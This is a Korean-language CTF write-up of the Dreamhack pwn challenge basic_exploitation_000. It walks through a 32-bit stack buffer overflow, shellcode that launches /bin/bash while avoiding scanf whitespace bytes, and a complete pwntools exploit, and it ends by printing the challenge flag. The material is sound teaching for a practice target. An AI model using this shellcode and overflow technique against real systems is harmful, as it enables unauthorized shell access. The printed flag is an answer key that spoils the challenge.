반응형

basic_exploitation_000.c
0.00MB
basic_exploitation_000
0.01MB

 

 

문제 힌트를 보니 ubuntu 16.04 버전에 32bit 아키텍처를 사용하고, stack 보호는 안 하고 있다.

 


문제 파일

 

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>


void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}


void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}


int main(int argc, char *argv[]) {

    char buf[0x80];

    initialize();
    
    printf("buf = (%p)\n", buf);
    scanf("%141s", buf);

    return 0;
}

 

main 함수를 보면 0x80(10진수로 128) 크기의 char형 배열이 선언되어있다.
그리고 initialize() 함수를 호출하는데 이 함수는 입출력 버퍼를 거치지 않는다고 설정하고
SIGALRM 시그널이 발생하면 alarm_handler() 함수를 호출해 "TIME_OUT" 문자열을 띄운 뒤 종료하는데
alarm() 함수를 이용해 30초 뒤에 SIGALRM 시그널을 발생시킨다.
printf() 함수로 buf 배열의 주소를 출력해주고 있고, scanf() 함수로 141글자만큼 입력받아 buf에 저장한다.

 

소스 코드에서 get_shell() 함수가 없으니 execve() 셸 코드를 이용하여 /bin/bash를 실행하도록 셸 코드를 짜면 된다.

 

다만 이 문제에서 linux 환경은 32bit 아키텍처이고, fastcall 호출 규약을 따르기 때문에 64bit 아키텍처의 execve() 셸 코드와는 약간 다르다.

 


분석

 

위의 코드를 보면 0x80(128byte) 크기의 스택 공간을 할당받는데, scanf()로 141byte 만큼 입력 받으므로 stack buffer overflow를 발생시켜 ret 주소를 shellcode의 주소로 덮어쓰면 shellcode가 실행되고 이어서 /bin/bash을 실행하므로 셸을 얻을 수 있다.

 

buf char buf[0x80] 공간
SFP 이전 함수의 EBP 값
RET main() 함수 종료 후 return 할 주소
argc argc 값
argv argv 값들
env  환경 변수들

 

현재 메모리 구조는 위와 같다.

 

scanf()로 입력을 받아 buf에 저장하는데, buf에 shellcode를 넣으면 0x80 크기 중 shellcode의 크기를 뺀 나머지 공간이 남게 되지만, 남은 공간은 쓸데없는 데이터로 채워 0x80 크기의 공간을 꽉 채운다.

 

그리고 SFP 부분에도 쓸데없는 데이터를 채운다고 한다면, 총 0x84 크기에서 shellcode의 크기를 뺀 나머지 공간에 쓸데없는 데이터를 채우게 되는 것이다.

 

 

이 상태에서 buf의 주소를 RET 부분에 덮어쓰면 되는데, 이 문제에서는 친절하게도 nc로 접속하면 buf의 주소를 알려준다.

 

그러면 정리했을 때 아래와 같은 구조가 될 것이다.

 

buf(0x80) SFP RET
shellcode의 크기 0x80 - (shellcode의 크기) 0x04 0x04
shellcode dummy data dummy data buf의 주소

 


scanf() 함수로 입력을 받는 경우 shellcode를 작성할 때 주의할 점

 

사용자가 입력하면 그 입력값은 입력 버퍼에 저장이 되는데

 

scanf() 함수는 사용자에게 입력을 받아 공백(space, ' '), 탭(tab, '\t'), 개행(enter, '\n') 이 3가지가 나오기 전까지 입력 버퍼에 있는 값을 가져오는 함수이다.

 

또한 scanf()에 %d 형식 지정자를 줬을 경우 숫자가 아닌 데이터가 오면 입력 받는 것을 끝낸다.

 

위의 C 언어로 작성된 소스 코드를 보면 우리가 입력하는 값을 scanf() 함수로 받는 것을 확인할 수 있는데, 문제는 scanf()는 공백, 탭, 개행 3가지 중 하나가 나오면 종료된다.

 

문제가 되는 이유는 우리가 입력하는 값이 쉘 코드이기 때문이다.

 

 

즉, 위의 ascii 코드표에서 파란색으로 되어 있는 값 0x09(Horizontal Tab), 0x0A(Line feed), 0x0B(Vertical Tab), 0x0C(Form feed), 0x0D(Carriage return), 0x20(space)이 오면 입력 받는 것을 종료한다는 것이다.

 

문제는 32bit 아키텍처에서 execve() 시스템 콜 값이 0x0b이다.

 

0x0b는 ASCII 코드에서 Vertical Tab이므로 0x0b 값 뒤에 있는 쉘 코드들은 무시될 것이다.

 

작성한 shellcode가 scanf() 함수로 입력받는 경우에는 위의 0x09, 0x0A, 0x0B, 0x0C, 0x0D, 0x20 값이 shellcode에 포함되지 않도록 작성해야 한다.

 


"/bin/bash" 문자열의 little endian 값 얻기

from pwn import *

s1 = "/bas".encode("utf-8")
s2 = "/bin".encode("utf-8")

s1 = hex(u32(s1))
s2 = hex(u32(s2))

print(hex(ord('h')))
print(s1)
print(s2)
0x68
0x7361622f
0x6e69622f

 


32bit 아키텍처에서 execve 셸 코드

# 32bit 아키텍처에서 execve 시스템 콜 인자
execve syscall

syscall number(eax register) - 0xb(11)
1st argument(ebx register) – pathname
2nd argument(ecx register) – argv[]
3rd argument(edx register) – envp[]
section .text
global _start

_start:
        xor eax, eax
        push 0x68
        push 0x7361622f
        push 0x6e69622f
        mov ebx, esp ; ebx = "/bin/bash"
        xor ecx, ecx
        xor edx, edx
        mov al, 0x8
        inc al
        inc al
        inc al
        int 0x80

 

위를 보면 ebx 레지스터에 실행하고자 하는 바이너리의 경로를 적어주고, ecx와 edx 레지스터에는 각각 프로그램의 인자 포인터 배열과 프로그램의 환경변수 포인터 배열을 적어준다.

 

하지만 지금은 /bin/bash만 실행하면 되므로 ecx와 edx 값은 0으로 만든다.

 

그리고 eax에 execve 시스템 콜 번호를 넣어주는데, 0x0bVertical Tab이므로 바로 넣을 수 없고, 0x0A, 0x09도 넣을 수 없으므로 0x08을 넣어준 후 inc로 3번 증가시켜 0x0b로 만든다.

 

nasm -f elf execve.asm

위의 명령으로 오브젝트 파일을 생성 후

 

 objdump -d execve.o

위의 명령으로 확인하고

 

 objcopy --dump-section .text=shellcode.bin execve.o

위의 명령으로 바이너리 파일로 만들어준다.

 

 xxd -p shellcode.bin

마지막으로 바이너리 파일에서 hexdump 값만 뽑는다.

 

31c06a68682f626173682f62696e89e331c931d2b008fec0fec0fec0cd80
\x31\xc0\x6a\x68\x68\x2f\x62\x61\x73\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x08\xfe\xc0\xfe\xc0\xfe\xc0\xcd\x80

그러면 위와 같이 값이 출력될 것이고 쉘 코드 형식으로 작성해준다.

 


pwntools를 이용한 exploit

 

# exploit.py
from pwn import *

p = remote("host3.dreamhack.games", 22731)

p.recvuntil('buf = (')

buf_addr = int(p.recv(10), 16)

shellcode = b"\x31\xc0\x6a\x68\x68\x2f\x62\x61\x73\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x08\xfe\xc0\xfe\xc0\xfe\xc0\xcd\x80"
payload = shellcode + b'a' * (0x84 - len(shellcode)) + p32(buf_addr)

p.send(payload)
p.interactive()

 

참고로 python3 에서는 데이터를 전송할 때 문자열은 byte 형식으로 변환해줘야 하기 때문에 문자열 앞에 b를 붙여 byte로 변환한다.

 

DH{465dd453b2a25a26a847a93d3695676d}

 

그리고 위와 같이 실행하면 flag를 획득할 수 있다.

 


ASCII 코드표 의미 : https://hermit1004computer.blogspot.com/2017/01/ascii.html

 

모두의 코드 scanf() : https://modoocode.com/32

 

쉘 코드 모음 : https://mandu-mandu.tistory.com/22

 

python3 에서 문자열을 전송할 때는 byte 형태로 전송해야 한다 : https://dreamhack.io/forum/qna/825

 

반응형

'전쟁 > Dreamhack Pwn' 카테고리의 다른 글

[Dreamhack pwn] ssp_001  (0) 2023.01.05
[Dreamhack pwn] Return to Shellcode  (0) 2023.01.05
[Dreamhack pwn] basic_exploitation_001  (0) 2022.12.31
[Dreamhack pwn] Return Address Overwrite  (0) 2022.12.23
[Dreamhack pwn] shell_basic  (0) 2022.12.23

+ Recent posts